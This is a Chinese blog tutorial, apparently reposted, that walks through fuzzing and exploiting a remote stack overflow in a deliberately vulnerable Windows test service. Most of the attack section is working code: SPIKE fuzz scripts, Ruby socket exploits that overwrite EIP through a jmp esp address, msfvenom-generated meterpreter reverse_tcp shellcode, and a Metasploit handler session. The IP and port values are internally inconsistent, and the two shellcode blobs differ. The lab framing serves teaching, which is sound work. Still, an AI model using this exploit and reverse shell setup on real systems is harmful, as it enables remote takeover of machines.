博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Windows 远程栈溢出挖掘
阅读量:4694 次
发布时间:2019-06-09

本文共 7515 字,大约阅读时间需要 25 分钟。


title: Windows 远程栈溢出挖掘

date: 2019-04-20 11:22:50
tags:

  • 渗透测试
    categories: 渗透测试
    copyright: true
    ---

缓冲区溢出攻击很容易被攻击者利用,因为C/C++语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出.利用溢出,攻击者可以将期望数据写入漏洞程序内存中的任意位置,甚至包括控制程序执行流的关键数据(比如函数调用后的返回地址),从而控制程序的执行过程并实施恶意行为.

该笔记用于帮助读者理解远程缓冲区溢出的挖掘,以及编写漏洞利用程序片段,下面在进行实验前,读者应该具备一定得汇编代码阅读能力,以及对基本渗透工具的使用,并且请确保准备好以下测试环境:

被攻主机: windows MyServer应用 192.168.1.10

攻击主机: kali linux 192.168.1.2
x64dbg调试器: https://x64dbg.com/
ruby环境: http://www.ruby-lang.org
kali linux: https://www.kali.org/
MyServer下载地址:https://files-cdn.cnblogs.com/files/LyShark/MyServer.zip

缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码.也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中,并能够得到远程系统的控制权.


在这里作者使用C语言编写了一个带有漏洞的Server服务程序,并运行在Windows Server2008系统上,当你运行该服务程序后,该服务会自动开启本地的9999 号端口,你可以使用NetCat,Telnet进行远程连接,当你连接后服务器会分配一个随机的Shell环境,此时可以执行一些基本的测试命令.

1379525-20190527094609318-1144295040.jpg

下面我们将使用NetCat工具连接服务器,NC工具连接后,你可以执行一些测试函数,这些函数里面有一些带有漏洞,而一些则没有,这里你可以使用help来查询远程服务器所支持的命令,也可以使用trun |的方式调用命令,为了用户能够准确的将实验进行下去,我这里在每个函数后面备注了信息,其中标注有yes的函数是存在漏洞的,相反的则是不存在漏洞的函数.

1379525-20190527094619851-1850992661.jpg

执行模糊测试

模糊测试(Fuzzing),是用于漏洞挖掘的探测工作,主要用于发现那些函数存在漏洞,通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法,其原理主要是通过输入大量数据,发现程序中存在的问题.可以通过使程序某些内容溢出出现异常,或者输入的是程序规定的范围内的数据结果出现异常,从而找出程序的bug.

尽管当今有许多模糊测试工具可以使用,但是在Kali Linux系统中默认集成了SPIKE,从技术上讲SPIKE实际上是一个模糊器创建工具包,它提供了API允许用户使用C语言基于网络的协议来创建自己的fuzzer,该工具可以通过编写脚本的方式进行测试任务,而无须自行编写上百行的测试代码.

创建测试脚本: 在测试之前,首先我们先来创建一个测试脚本,该脚本命名为lyshark.spk,脚本的内容如下.

root@kali:~# vim lyshark.spks_readline();              # 接收第一行的数据s_string("stats |");       # 向目标发送字串开头s_string_variable("A");    # 发送的主体字符串

测试STATS函数: 我们使用generic_send_tcp进行测试,测试服务器程序中stats函数是否存在漏洞,其命令如下:

root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0Fuzzing Variable 0:1198line read=Fuzzing Variable 0:1199line read=Fuzzing Variable 0:1200line read=Fuzzing Variable 0:1201line read=Fuzzing Variable 0:1202line read=Fuzzing Variable 0:1203^Croot@kali:~#

经过上面的测试后,发现服务器程序并没有崩溃,只是出现了一些错误日志,则说明stats函数不存在远程溢出漏洞,接着我们修改测试代码,并继续测试.

修改测试脚本: 我们接着打开lyshark.spk这个测试脚本,修改测试函数,这里改为trun即可.

root@kali:~# vim lyshark.spks_readline();              # 接收第一行的数据s_string("trun |");        # 向目标发送字串开头s_string_variable("A");    # 发送的主体字符串

测试TRUN函数: 我们使用generic_send_tcp进行测试,测试服务器程序中trun函数是否存在漏洞,其命令如下:

root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0Fuzzing Variable 0:1198line read=Fuzzing Variable 0:1199line read=Fuzzing Variable 0:1200line read=Fuzzing Variable 0:1201line read=Fuzzing Variable 0:1202line read=Fuzzing Variable error^Croot@kali:~#

经过上面的模糊测试,你会发现服务器端崩溃了,我们的服务器在应对二进制字符串时表现异常,其实这就是一个典型的远程缓冲区溢出漏洞,之所以会崩溃的原因是因为缓冲区没有进行合理的边界检测,从而超出了缓冲区的容量,恶意的字符串覆盖了EIP指针,导致服务器不知道下一跳去哪里取指令,从而崩溃了.

控制EIP指针

在上面的模糊测试环节,我们已经清楚的知道路目标服务器的,trun函数存在远程缓冲区溢出漏洞,接下来我们就来测试一下目标缓冲区的大小,这也是控制EIP指针的前提条件,现在我们需要具体的知道使用多少个字节才能够不多不少的覆盖掉程序中EIP寄存器,首先先来创建一个Ruby脚本,来完成远程对缓冲区的填充,这里Ruby的代码如下.

root@kali:~# vim lyshark.rbrequire 'socket'host = '192.168.1.10'port = 9999sock = TCPSocket.open(host, port)command = "trun |"              # 指定要测试的函数header = "/.:/"                 # 数据包发送固定写法buf = "A" * 2000                # 生成2000个A(猜测)eip = "BBBB"                    # 暂且填充为BBBBnops = "\x90" * 20              # 填充20个nop指令sock.gets()                              # 获取服务端返回的字符串sock.puts( command+header+buf+eip+nops ) # 开始发送2000个Asock.closeroot@kali:~# ruby lyshark.rb

上面的代码主要作用是,生成2000个A,在Kali上运行代码后,发现服务器崩溃了,崩溃事件中还提供了具体的EIP地址,这说明脚本正常工作了.

1379525-20190527094642168-505394952.jpg

接下来我们在服务器上,使用x64dbg调试器附加到MyServer.exe这个服务程序的进程上,并在调试器附加的基础上,再次执行lyshark.rb这个脚本.

1379525-20190527094648788-2074519362.jpg

当脚本运行后,不出所料程序再次崩溃,这里我们主要关心崩溃后的堆栈情况,下图可发现EIP指针为90904242,也就是说当前EIP一半在nop雪橇上另一半在AA上,由此我们可以猜测此时我们填充少了.

1379525-20190527094657818-744371053.jpg

通过上面的EIP覆盖情况,发现填充物少填充了2个字符,接着我们修改攻击脚本,将填充物改大一些,这次我们改成2002,也就是说向远程堆栈内填充2002个A,重新运行服务器上的服务,并再次运行攻击脚本.

require 'socket'host = '192.168.1.10'port = 9999sock = TCPSocket.open(host, port)command = "trun |"              # 指定要测试的函数header = "/.:/"                 # 数据包发送固定写法buf = "A" * 2002                # 生成2002个Aeip = "BBBB"                    # 方便区分nops = "\x90" * 50sock.gets()sock.puts( command+header+buf+eip+nops ) # 发送2002个Asock.closeroot@kali:~# ruby lyshark.rb

当攻击脚本运行后,我们查看一下EIP指针的位置,你会发现此时的EIP地址已经指向了42424242,也就是我们脚本中填充的eip = "BBBB",由此可得出填充物的大小刚好为2002个A,在下图的堆栈区域中,也可以清晰地看到我们填充的AAAAnop雪橇的分界线.

1379525-20190527094802329-2124011170.jpg

构建漏洞攻击

在上面的环节中我们已经确定了填充物的大小,但细心的你会发现程序每次运行其栈地址都是随机变化的,在Windows漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧可能产生移位,即ShellCode在内存中的地址是动态变化的,因此需要Exploit(漏洞利用代码)在运行时动态定位栈中的ShellCode地址.

我们第一步就是寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针,其基本思路就是,使用内存中任意一个jmp esp的地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp指令,而esp寄存器的地址正好是我们布置好的nop雪橇的位置,此时EIP指针就会顺着nop雪橇滑向我们构建好的恶意代码,从而触发我们预先布置好的ShellCode代码.

选择模块: 首先通过x64dbg调试器附加服务程序,然后选择符号菜单,这里我找到了kernelbase.dll这个外部模块,模块的选择是随机的,只要模块内部存在jmp esp指令就可以利用.

1379525-20190527094708737-850770008.jpg

搜索跳板: 接着搜索该模块中的jmp esp指令,因为这个指令地址是固定的,我们就将EIP指针跳转到这里,又因esp寄存器存储着当前的栈地址,所以刚好跳转到我们布置好的nop雪橇的位置上.

1379525-20190527094717560-469561385.jpg

x64dbg调试器的反汇编界面中,按下ctrl + f 搜索,并记录下这个搜寻到的地址0x77433f73,其实这里随便一个只要是jmp esp 指令的都可以,我们将其作为EIP的跳转地址.

生成利用代码

当然可以从零开始构建漏洞攻击所使用的ShellCode但这需要你具备汇编的编程能力,不过庆幸的是Metaspoloit在这方面可以为我们做很多,我们可以通过MSF提供的msfvenom命令快速的生成一个有效载荷.

root@kali:~# msfvenom -a x86 --platform Windows \>                              -p windows/meterpreter/reverse_tcp \>                              -b '\x00\x0b' LHOST=192.168.1.2 LPORT=9999 -f rubyFound 11 compatible encodersPayload size: 368 bytesFinal size of ruby file: 1612 bytesbuf ="\xba\x94\x23\x08\x8e\xdb\xd1\xd9\x74\x24\xf4\x5e\x33\xc9" +"\xb1\x56\x31\x56\x13\x03\x56\x13\x83\xee\x68\xc1\xfd\x72" +"\x78\x84\xfe\x8a\x78\xe9\x77\x6f\x49\x29\xe3\xfb\xf9\x99" +

最后在msf控制主机,启动一个侦听器,等待运行脚本.

msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf5 exploit(multi/handler) >msf5 exploit(multi/handler) > set lhost 192.168.1.10lhost => 192.168.1.10msf5 exploit(multi/handler) > set lport 9999lport => 8888msf5 exploit(multi/handler) > exploit[*] Started reverse TCP handler on 192.168.1.10:9999

经过上面的步骤我们已经构建出了漏洞利用代码,此时我们运行代码.

require 'socket'host = '192.168.1.10'port = 9999sock = TCPSocket.open(host, port)command = "trun |"       #数据包包头写法header = "/.:/"          #数据包发送固定写法buf = "A" * 2002         #2002个字节刚好填充满eip = "\x73\x3f\x43\x77" #EIP=77433F73  将该地址反写nops = "\x90" * 20       #此处是nop雪橇填充的20个字节shellcode ="\xd9\xf7\xd9\x74\x24\xf4\x5a\xbb\xc8\xbb\x47\x96\x29\xc9" +"\xb1\x56\x31\x5a\x18\x83\xc2\x04\x03\x5a\xdc\x59\xb2\x6a" +"\x34\x1f\x3d\x93\xc4\x40\xb7\x76\xf5\x40\xa3\xf3\xa5\x70" +"\xa7\x56\x49\xfa\xe5\x42\xda\x8e\x21\x64\x6b\x24\x14\x4b" +"\x6c\x15\x64\xca\xee\x64\xb9\x2c\xcf\xa6\xcc\x2d\x08\xda" +"\x3d\x7f\xc1\x90\x90\x90\x66\xec\x28\x1a\x34\xe0\x28\xff" +"\x8c\x03\x18\xae\x87\x5d\xba\x50\x44\xd6\xf3\x4a\x89\xd3" +"\x4a\xe0\x79\xaf\x4c\x20\xb0\x50\xe2\x0d\x7d\xa3\xfa\x4a" +"\xb9\x5c\x89\xa2\xba\xe1\x8a\x70\xc1\x3d\x1e\x63\x61\xb5" +"\xb8\x4f\x90\x1a\x5e\x1b\x9e\xd7\x14\x43\x82\xe6\xf9\xff" +"\xbe\x63\xfc\x2f\x37\x37\xdb\xeb\x1c\xe3\x42\xad\xf8\x42" +"\x7a\xad\xa3\x3b\xde\xa5\x49\x2f\x53\xe4\x05\x9c\x5e\x17" +"\x71\xe3\xf6\xf7"sock.gets()sock.puts( command+header+buf+eip+nops+shellcode )sock.close

查看攻击主机,即可看到一个反向连接shell,此时我们可以远程执行任意命令.

msf5 exploit(multi/handler) > exploit[*] Started reverse TCP handler on 192.168.1.10:9999[*] Sending stage (179779 bytes) to 192.168.1.10[*] Meterpreter session 1 opened (192.168.1.10:9999 -> 192.168.1.2:9900) at 2019-03-27 02:11:56 -0400meterpreter > sysinfoComputer        : web-serverOS              : Windows Server2008.Architecture    : x64System Language : zh_CNDomain          : WORKGROUPLogged On Users : 2Meterpreter     : x86/windowsmeterpreter >

教程到这里就结束了,这里只是一个挖掘漏洞的小例子,根据这个例子读者就可以了解漏洞挖掘的具体流程,其实大多数漏洞挖掘无外乎这些步骤,只是在一些方面会有一些差异而已,但大同小异.

转载于:https://www.cnblogs.com/LyShark/p/10607963.html

你可能感兴趣的文章
Spring事务
查看>>
java编程基础(三)流程控制语句
查看>>
让数据库跑的更快的7个MySQL优化建议
查看>>
jquery 取id模糊查询
查看>>
解决在vue中,自用mask模态框出来后,下层的元素依旧可以滑动的问题
查看>>
修改node节点名称
查看>>
PAT(B) 1014 福尔摩斯的约会(Java)
查看>>
PAT甲级题解-1123. Is It a Complete AVL Tree (30)-AVL树+满二叉树
查看>>
项目开发总结报告(GB8567——88)
查看>>
SSH加固
查看>>
端口扫描base
查看>>
iOS IM开发的一些开源、框架和教程等资料
查看>>
FansUnion:共同写博客计划终究还是“流产”了
查看>>
python 二维字典
查看>>
pip 警告!The default format will switch to columns in the future
查看>>
Arrays类学习笔记
查看>>
实验吧之【天下武功唯快不破】
查看>>
2019-3-25多线程的同步与互斥(互斥锁、条件变量、读写锁、自旋锁、信号量)...
查看>>
win7-64 mysql的安装
查看>>
dcm4chee 修改默认(0002,0013) ImplementationVersionName
查看>>